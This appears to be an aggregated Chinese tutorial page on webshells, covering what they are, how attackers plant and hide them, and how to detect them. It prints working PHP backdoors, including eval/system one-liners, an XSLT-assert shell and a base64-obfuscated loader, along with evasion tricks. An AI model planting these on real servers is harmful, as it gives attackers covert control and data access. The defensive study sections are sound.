精华内容
下载资源
问答
  • WebShell

    2013-05-03 11:21:42
    WebShell
  • Webshell

    千次阅读 2019-08-25 20:14:31
    webshell,顾名思义:web指的是在web服务器上,而shell是脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故...

    webshell

    webshell简介:

    • webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、故武器管理等待一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
    • webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
    • 小马:一句话木马也称为小马,即整个shell代码量只有一行,一般时系统执行函数
    • 大马:代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到
    shell2.php	#eveal 使用php函数,例如phpinfo();
    <?php eval($_REQUEST['cmd']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
    

    在这里插入图片描述

    shell3.php  #systeam使用linux系统命令,例如ls,cp,rm
    <?php system($_REQUEST['yangge']);?>
    http://192.168.8.134/dvwa/hackable/uploads/shell3.php?yangge=cat /etc/passwd
    

    在这里插入图片描述

    • 中国菜刀
    <?php @eval('$-PSOT[chopper']);?>
    说明:requesr是在网页端输入变量访问,POST则是使用想中国菜刀之类的工具连接,是C/S架构。
    

    在这里插入图片描述

    展开全文
  • webshell

    2016-01-11 16:25:38
    webshell

    什么是WS

    webshell就是一个web页面,但是这个页面功能强大。可以做一些管理员不希望你做的事。比如执行系统命令,删除web页面,修改主页等。所以通常是可执行的脚本文件,比如asp,jsp, php等。

    能干啥事

    正常的http访问一个服务器上的cgi文件。上传文件,删除文件,上传目录文件等。

    如何检测

    webshell会完成一些特殊的功能。所以就会用到一些特殊的函数。用恶意字符串匹配检测的静态检测。或者IDS中加入请求响应的动态特征。

    如何实现

    • 利用web上传业务直接上传webshell,有时也会返回上传的路径。
    • 利用网站代码缺陷,比如SQL注入等,植入webshell脚本。用命令来往指定的目录写入文件。

    如何扫描

    展开全文
  • webshell什么

    2021-04-13 11:16:12
    webshell什么? 百度百科的定义:webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB...

    webshell是什么?

    百度百科的定义:webshell就是以aspphp、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

    通俗来讲,Webshell是黑客经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。黑客通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。

    webshell的特点

    黑客使用Webshell的第一步通常是将其上传到可以访问的服务器中,例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php Webshell。当然,Webshell类型和作用也不完全相同,一些简单的Webshell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令;另外一些则可能更加复杂,带有数据库或文件浏览器,让黑客能够从数千英里之外的地方查看入侵系统的代码和数据。无论何种设计,Webshell都极其危险,是网络罪犯和高级持续威胁(APTs)的常用工具。Webshell常见的攻击特点主要有以下几点:

    持久化远程访问

    Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。

    提权

    在服务器没有配置错误的情况下,Webshell将在web服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。

    隐蔽性极强

    Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。

    如何隐藏Webshell

    Webshell几乎适用于所有Web编程语言,尤其以PHP居多。

    修改报头

    黑客使用用户代理字符串而不是通过$_POST 请求参数来传递命令的。

    <?php system($_SERVER['HTTP_USER_AGENT'])?

    然后黑客可以通过将命令放在user-agent http包头中来制作特定的http请求。
    在这里插入图片描述
    在服务器日志中可以看到这一行为的效果,其中第二个请求中的HTTP User-Agent被cat /etc/passwd命令替换了。

    隐藏在正常文件中

    黑客用来隐藏Webshell最简单的一个方法是将它们上传到深层子目录中和/或使用随机名称。

    此外,一种更有效的方法是将Webshell代码嵌入到现有的合法文件中。

    注意:黑客通常会在函数前使用@运算符,以防发生任何错误,写入错误日志。

    混淆

    黑客使用各种混淆技术,以避免被管理员检测到。他们不断提出新的更复杂的方法来隐藏其代码并绕过安全系统。下面是我们看到的一些最常用的技术。

    (1)删除空格换行符

    通过从代码块中删除空格换行符,代码看起来像一个大字符串,这就使得代码的可读性降低并且更难识别脚本要实现什么目的。

    (2)加密技术

    该技术可以对代码进行加密,降低代码的可读性,并且充分利用运行时可以重建代码的各种函数。

    (3)使用Hex进行混淆

    ASCII字符的十六进制值也可以用于进一步混淆Webshell命令,下面的例子可以很好地说明混淆技术在Webshell中的应用。

    (4)通过可控输入实现混淆

    PHP常用的可控输入包括: $_GET, $_POST, REQUEST,_REQUEST,_FILES,$_SERVER $_COOKIE等,是PHP预定义的变量,可以将黑客自定义的值传递给浏览器中。

    Webshell检测和预防

    检测

    如果管理员怀疑其系统中存在Webshell或只是进行例行检查,则需要检查以下内容。

    首先,必须针对Webshell正在使用的常见关键字过滤服务器访问和错误日志,包括文件名称和/或参数名称。必须在文件系统(通常是Web服务器根目录)中搜索文件或文件名中的通用字符串。

    监视网络中存在异常的网络流量和连接。

    通常,黑客会利用Web服务器软件中存在的漏洞来安装Webshell。因此,消除这些漏洞对于避免失陷Web服务器的潜在风险很重要。以下是一些与Webshell相关的预防措施。

    如果不使用,要禁用危险的PHP函数,例如exec()、shell_exec()、passthru()、system()、show_source()、proc_open()、pcntl_exec()、eval()与assert()。

    如果必须要启用这些命令,请确保未授权用户无法访问这些脚本。此外,使用escapeshellarg()和escapeshellcmd()可以确保不能将用户输入注入到shell命令中,从而导致命令执行漏洞。

    如果Web应用程序正在使用上传表单,请确保上传的表单是安全的,并且仅允许上传白名单所允许的文件类型。

    不要相信用户输入的信息。

    不要盲目使用在线论坛或网站上的代码。

    对于WordPress,如果不需要,要避免安装第三方插件。如果需要使用插件,请确保插接件其信誉良好且经常更新。

    在敏感目录(如图片或上传)中禁用PHP执行。

    锁定Web服务器用户权限。

    上面给出的是一些简单的Webshell检测和预防措施。面对较为复杂的Webshell攻击,则需要采用一些专业的Webshell检测工具来实现了。

    参加文献

    1,https://www.freebuf.com/articles/web/235651.html

    2,https://zhuanlan.zhihu.com/p/344629093

    展开全文
  • WEBSHELL

    2016-08-04 19:13:46
    本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell攻必防,最后带大家学习查杀WebShell。 目录 第一节 CMS获取WebShell第二节 非CMS获取WebShell第三节 基于xslt转换的WebShell第四节

    前言
    WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有攻必有防,最后带大家学习查杀WebShell。

    目录



    • 第一节 CMS获取WebShell
    • 第二节 非CMS获取WebShell
    • 第三节 基于xslt转换的WebShell
    • 第四节 代码混淆隐藏WebShell
    • 第五节 防御篇-查杀WebShell



    正文



    • 第一节 CMS获取WebShell


    1.1、什么是CMS?
    CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。


    1.2、常见的CMS有哪些?
    • asp平台动易CMS、创力CMS、科汛CMS、新云CMS;
    • php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
    • ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;

    1.3、CMS获取WebShell方法

    公开漏洞途径:以PHPCMS为例:
    我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。


    代码审计途径:
    有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。关于代码审计的教程篇幅太长,这里就不做更多介绍,我会单独写一篇系列文章进行讲解。



    • 第二节 非CMS获取WebShell


    2.1、上传漏洞获取WebShell

    文件上传漏洞主要有以下几种情况:
    • MIME类型绕过漏洞
    • 文件扩展名绕过漏洞
    • 文件内容检测绕过类上传漏洞
    • 空字节截断目录路径检测绕过类上传漏洞  

    解析导致的文件上传漏洞:
    • IIS6.0站上的目录路径检测解析绕过上传漏洞
    • Apache站上的解析缺陷绕过上传漏洞
    • htaccess文件上传解析漏洞  



    还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。


    具体请看i春秋学院视频,还可以做实验,链接如下:
    非法文件上传漏洞技术解析及防御

    2.2、SQL注入获取WebShell

    利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

    MySQL:

    [SQL] 纯文本查看 复制代码
    1
    select into outfile(dumpfile)  //MySQL写文件命令


    例如:

    [SQL] 纯文本查看 复制代码
    1
    select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";




    那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。


    2.3、数据库备份获取WebShell

    利用数据库备份获取WebShell,恰好i春秋有相关的实验,我也发过相关的教程,这里就不介绍了,大家去看看吧,第三步就是利用数据库备份拿WebShell。
    2015中国网络安全大赛:越权访问真题

    配套实验地址:(进去后选择越权访问点击START就行了)
    2015中国网络安全大赛


    • 第三节 基于xslt转换的WebShell


    3.1、什么是xslt?

    在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读格式呈现 XML(标准通用标记语言的子集)数据的语言。
    XSL - 不仅仅是样式表语言
    XSL 包括三部分:
    XSLT - 一种用于转换 XML 文档的语言。
    XPath - 一种用于在 XML 文档中导航的语言。
    XSL-FO - 一种用于格式化 XML 文档的语言。

    那么看到这里相信大家已经了解到xslt是xsl的一部分。


    3.2、在PHP下基于xslt转换来隐藏WebShell

    怎么在php下使用xsl呢?我教大家的都是可以自己学习的方法,既然要使用php,我们肯定要去看php的官方手册,我们去搜索xsl


    定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下


    [AppleScript] 纯文本查看 复制代码
    1
    Enables the ability to use PHP functions as XSLT functions



    我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料

    我们先来看看官方事例:


    [XSLT] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0"
         xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持
    <xsl:output method="html" encoding="utf-8" indent="yes"/>
     <xsl:template match="allusers">
      <html><body>
        <h2>Users</h2>
        <table>
        <xsl:for-each select="user">
          <tr><td>
            <xsl:value-of
                 select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
          </td></tr>
        </xsl:for-each>
        </table>
      </body></html>
     </xsl:template>
    </xsl:stylesheet>

    那么搞懂了以上这些知识,那就很简单了。

    为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下:
    [XSLT] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    <?php
    $xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
    $xsl='<?xml version="1.0" encoding="UTF-8"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
     <xsl:template match="/ichunqiu">
        <xsl:value-of select="icq:function(\'assert\',string(.))"/>
     </xsl:template>
    </xsl:stylesheet>';
    $xmldoc = DOMDocument::loadXML($xml);
    $xsldoc = DOMDocument::loadXML($xsl);
    $proc = new XSLTProcessor();
    $proc->registerPHPFunctions();
    $proc->importStyleSheet($xsldoc);
    $proc->transformToXML($xmldoc);
    ?>


    可以直接用菜刀连接:(密码:zusheng




    参考资料:



    • 第四节 代码混淆隐藏WebShell

    代码混淆隐藏WebShell也就是通过编码和压缩恶意代码的方式来隐藏WebShell。

    这里我们使用gzinflate+Base64加密,来隐藏WebShell。

    [PHP] 纯文本查看 复制代码
    1
    2
    3
    <?php
    eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
    ?>


    可以直接用菜刀连接:(密码:zusheng


    • 第五节 防御篇-查杀WebShell

    5.1、WebShell的分类


    5.2、安全工具
    D盾:


    下载地址:免费下载

    360主机卫士:
    提供在线监测,把网站打包成zip上传就行了
    http://zhuji.360.cn/backdoor

    小实验

    学完上述知识,大家是不是想动手来试试了呢,来个小实验。


    我们先新建一个php文件


    文件内容如下:
    [PHP] 纯文本查看 复制代码
    1
    2
    3
    4
    5
    6
    <?php
    if (isset($_GET["cmd"]))
    {
    array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
    }
    ?>




    使用gzinflate+Base64加密,来隐藏WebShell。
    使之能正常运行
    展开全文
  • Webshell什么

    千次阅读 2008-09-22 21:24:00
    webshell是web入侵的脚本攻击工具。简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客...
  • webshell什么

    2008-01-11 14:23:19
    webshell是web入侵的脚本攻击工具。简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后...
  • Webshell什么

    2010-10-07 11:49:16
    webshell什么?这是很多朋友在疑惑的问题,什么webshell?今天我们就讲讲这个话题! webshell是web***的脚本***工具。简单的说来,webshell就是一个asp或php***后门,***在***了一个网站后,常常在将这些asp或...
  • 什么webshell?

    2021-03-03 15:25:51
    1、什么webshell webshell是web入侵的脚本攻击工具。 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页...
  • Linux WebShell

    2014-07-30 18:10:25
    WebShell
  • 什么webshell

    2016-02-03 16:52:37
    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 19,781
精华内容 7,912
关键字:

webshell有什么用